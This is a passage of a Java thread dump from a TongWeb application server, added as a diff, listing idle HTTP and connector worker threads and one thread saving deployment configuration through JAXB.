+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"TongTech-License-Executor" #18 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@a322c87
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"RMI Reaper" #97 [WAITING] on java.lang.ref.ReferenceQueue$Lock@78527402
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
+ at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Thread-49" #181 daemon [WAITING] on java.lang.Thread@59913a7b
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.Thread.join(Thread.java:1257)
+ at java.lang.Thread.join(Thread.java:1331)
+ at com.tongweb.deploy.DeployTimeoutControlService$1.run(DeployTimeoutControlService.java:36)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-8080-AsyncTimeout" #107 daemon [TIMED_WAITING]
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Thread.sleep(Native Method)
+ at com.tongweb.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1292)
+ at java.lang.Thread.run(Thread.java:750)
+
+"GC Daemon" #21 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@639f299b
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at sun.misc.GC$Daemon.run(GC.java:117)
+
+"http-nio2-0.0.0.0-9060-exec-10" #31 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5c520b2c
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"JCA-default-thread-pool-worker-1" #84 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6f16e9a7
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"JCA-default-thread-pool-worker-8" #91 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6f16e9a7
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"JCA-default-thread-pool-worker-5" #88 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6f16e9a7
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-5100-exec-9" #116 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5ec9ab3f
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-5100-exec-10" #117 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5ec9ab3f
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-5100-exec-5" #112 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5ec9ab3f
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-5100-exec-2" #109 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5ec9ab3f
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"RetryTimer" #94 daemon [WAITING] on java.util.TaskQueue@54a098aa
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.Object.wait(Object.java:502)
+ at java.util.TimerThread.mainLoop(Timer.java:526)
+ at java.util.TimerThread.run(Timer.java:505)
+
+"JCA-default-thread-pool-worker-2" #85 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6f16e9a7
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-8080-exec-10" #42 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@68ef1acf
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-5100-Acceptor-0" #120 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
+ at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
+ at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
+ at com.tongweb.web.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:472)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-0.0.0.0-9060-exec-7" #28 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5c520b2c
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-8080-exec-1" #33 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@68ef1acf
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-0.0.0.0-9060-AsyncTimeout" #106 daemon [TIMED_WAITING]
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Thread.sleep(Native Method)
+ at com.tongweb.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1292)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-0.0.0.0-9060-exec-2" #23 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5c520b2c
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"JCA-default-thread-pool-worker-9" #92 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6f16e9a7
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"ContainerBackgroundProcessor[StandardEngine[TONGWEB]]" #105 daemon [TIMED_WAITING]
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Thread.sleep(Native Method)
+ at com.tongweb.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1349)
+ at java.lang.Thread.run(Thread.java:750)
+
+"IntelligentRouterHealthInfoCollector" #170 daemon [TIMED_WAITING] on java.util.TaskQueue@59d60f43
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.util.TimerThread.mainLoop(Timer.java:552)
+ at java.util.TimerThread.run(Timer.java:505)
+
+"snapshot" #122 daemon [TIMED_WAITING] on java.util.TaskQueue@324f821f
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.util.TimerThread.mainLoop(Timer.java:552)
+ at java.util.TimerThread.run(Timer.java:505)
+
+"main" #1 [WAITING] on java.lang.Thread@615091b8
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.Object.wait(Object.java:502)
+ at com.tongweb.catalina.core.StandardServer.awaitJmx(StandardServer.java:500)
+ at com.tongweb.catalina.core.StandardServer.await(StandardServer.java:458)
+ at com.tongweb.catalina.startup.Catalina.await(Catalina.java:747)
+ at com.tongweb.catalina.startup.ThanosCatalina.start(Unknown Source)
+ at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+ at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+ at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+ at java.lang.reflect.Method.invoke(Method.java:498)
+ at com.tongweb.catalina.startup.Bootstrap.start(Bootstrap.java:381)
+ at com.tongweb.catalina.startup.Bootstrap.main(Bootstrap.java:536)
+
+"Thread-50" #182 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.util.zip.ZipFile.read(Native Method)
+ at java.util.zip.ZipFile.access$1400(ZipFile.java:61)
+ at java.util.zip.ZipFile$ZipFileInputStream.read(ZipFile.java:741)
+ at java.io.FilterInputStream.read(FilterInputStream.java:133)
+ at java.io.DataInputStream.readFully(DataInputStream.java:195)
+ at java.io.DataInputStream.readUTF(DataInputStream.java:609)
+ at java.io.DataInputStream.readUTF(DataInputStream.java:564)
+ at com.sun.xml.internal.bind.v2.bytecode.ClassTailor.tailor(ClassTailor.java:131)
+ at com.sun.xml.internal.bind.v2.runtime.reflect.opt.AccessorInjector.tailor(AccessorInjector.java:107)
+ at com.sun.xml.internal.bind.v2.runtime.reflect.opt.AccessorInjector.prepare(AccessorInjector.java:68)
+ at com.sun.xml.internal.bind.v2.runtime.reflect.opt.OptimizedAccessorFactory.get(OptimizedAccessorFactory.java:164)
+ at com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$FieldReflection.optimize(Accessor.java:271)
+ at com.sun.xml.internal.bind.v2.runtime.reflect.TransducedAccessor$CompositeTransducedAccessorImpl.(TransducedAccessor.java:220)
+ at com.sun.xml.internal.bind.v2.runtime.reflect.TransducedAccessor.get(TransducedAccessor.java:160)
+ at com.sun.xml.internal.bind.v2.runtime.property.AttributeProperty.(AttributeProperty.java:76)
+ at com.sun.xml.internal.bind.v2.runtime.property.PropertyFactory.create(PropertyFactory.java:93)
+ at com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl.(ClassBeanInfoImpl.java:166)
+ at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.getOrCreate(JAXBContextImpl.java:488)
+ at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.getOrCreate(JAXBContextImpl.java:507)
+ at com.sun.xml.internal.bind.v2.runtime.property.SingleElementNodeProperty.(SingleElementNodeProperty.java:90)
+ at sun.reflect.GeneratedConstructorAccessor8.newInstance(Unknown Source)
+ at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
+ at java.lang.reflect.Constructor.newInstance(Constructor.java:423)
+ at com.sun.xml.internal.bind.v2.runtime.property.PropertyFactory.create(PropertyFactory.java:113)
+ at com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl.(ClassBeanInfoImpl.java:166)
+ at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.getOrCreate(JAXBContextImpl.java:488)
+ at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.getOrCreate(JAXBContextImpl.java:507)
+ at com.sun.xml.internal.bind.v2.runtime.property.ArrayElementProperty.(ArrayElementProperty.java:97)
+ at com.sun.xml.internal.bind.v2.runtime.property.ArrayElementNodeProperty.(ArrayElementNodeProperty.java:47)
+ at sun.reflect.GeneratedConstructorAccessor7.newInstance(Unknown Source)
+ at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
+ at java.lang.reflect.Constructor.newInstance(Constructor.java:423)
+ at com.sun.xml.internal.bind.v2.runtime.property.PropertyFactory.create(PropertyFactory.java:113)
+ at com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl.(ClassBeanInfoImpl.java:166)
+ at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.getOrCreate(JAXBContextImpl.java:488)
+ at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.getOrCreate(JAXBContextImpl.java:507)
+ at com.sun.xml.internal.bind.v2.runtime.property.SingleElementNodeProperty.(SingleElementNodeProperty.java:90)
+ at sun.reflect.GeneratedConstructorAccessor8.newInstance(Unknown Source)
+ at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
+ at java.lang.reflect.Constructor.newInstance(Constructor.java:423)
+ at com.sun.xml.internal.bind.v2.runtime.property.PropertyFactory.create(PropertyFactory.java:113)
+ at com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl.(ClassBeanInfoImpl.java:166)
+ at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.getOrCreate(JAXBContextImpl.java:488)
+ at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.getOrCreate(JAXBContextImpl.java:507)
+ at com.sun.xml.internal.bind.v2.runtime.property.SingleElementNodeProperty.(SingleElementNodeProperty.java:90)
+ at sun.reflect.GeneratedConstructorAccessor8.newInstance(Unknown Source)
+ at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
+ at java.lang.reflect.Constructor.newInstance(Constructor.java:423)
+ at com.sun.xml.internal.bind.v2.runtime.property.PropertyFactory.create(PropertyFactory.java:113)
+ at com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl.(ClassBeanInfoImpl.java:166)
+ at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.getOrCreate(JAXBContextImpl.java:488)
+ at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.(JAXBContextImpl.java:305)
+ at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl.(JAXBContextImpl.java:124)
+ at com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$JAXBContextBuilder.build(JAXBContextImpl.java:1123)
+ at com.sun.xml.internal.bind.v2.ContextFactory.createContext(ContextFactory.java:147)
+ at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+ at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+ at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+ at java.lang.reflect.Method.invoke(Method.java:498)
+ at javax.xml.bind.ContextFinder.newInstance(ContextFinder.java:247)
+ at javax.xml.bind.ContextFinder.newInstance(ContextFinder.java:234)
+ at javax.xml.bind.ContextFinder.find(ContextFinder.java:462)
+ at javax.xml.bind.JAXBContext.newInstance(JAXBContext.java:641)
+ at javax.xml.bind.JAXBContext.newInstance(JAXBContext.java:584)
+ at com.tongweb.config.ConfigTool.saveXmlFile(ConfigTool.java:807)
+ at com.tongweb.config.ConfigTool.saveXmlFile(ConfigTool.java:840)
+ at com.tongweb.config.ConfigTool.saveXmlFile(ConfigTool.java:829)
+ at com.tongweb.config.ConfigTool.addChild(ConfigTool.java:257)
+ at com.tongweb.config.ConfigTool.addChild(ConfigTool.java:133)
+ at com.tongweb.deploy.util.DeployConfigUtil.addDeployConfig(DeployConfigUtil.java:371)
+ at com.tongweb.deploy.TongWebDeployer.deploy0(TongWebDeployer.java:430)
+ at com.tongweb.deploy.TongWebDeployer$1.run(TongWebDeployer.java:328)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-5100-exec-3" #110 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5ec9ab3f
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-5100-AsyncTimeout" #121 daemon [TIMED_WAITING]
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Thread.sleep(Native Method)
+ at com.tongweb.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1292)
+ at java.lang.Thread.run(Thread.java:750)
+
+"JCA-default-thread-pool-worker-7" #90 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6f16e9a7
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-0.0.0.0-9060-exec-1" #22 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5c520b2c
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
